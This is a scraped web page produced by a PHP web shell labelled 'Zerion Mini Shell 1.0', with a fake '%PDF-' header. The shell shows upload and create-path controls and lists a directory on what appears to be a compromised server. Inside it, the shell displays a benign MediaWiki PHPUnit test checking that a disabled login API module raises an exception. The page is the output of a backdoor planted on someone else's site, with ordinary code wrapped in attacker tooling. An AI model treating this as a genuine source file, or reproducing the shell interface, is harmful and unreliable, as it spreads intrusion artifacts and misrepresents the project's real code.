%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/api/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/api/ApiDisabledTest.php

<?php

/**
 * @group API
 * @group medium
 *
 * @covers ApiDisabled
 */
class ApiDisabledTest extends ApiTestCase {
	public function testDisabled() {
		$this->mergeMwGlobalArrayValue( 'wgAPIModules',
			[ 'login' => 'ApiDisabled' ] );

		$this->setExpectedException( ApiUsageException::class,
			'The "login" module has been disabled.' );

		$this->doApiRequest( [ 'action' => 'login' ] );
	}
}

Zerion Mini Shell 1.0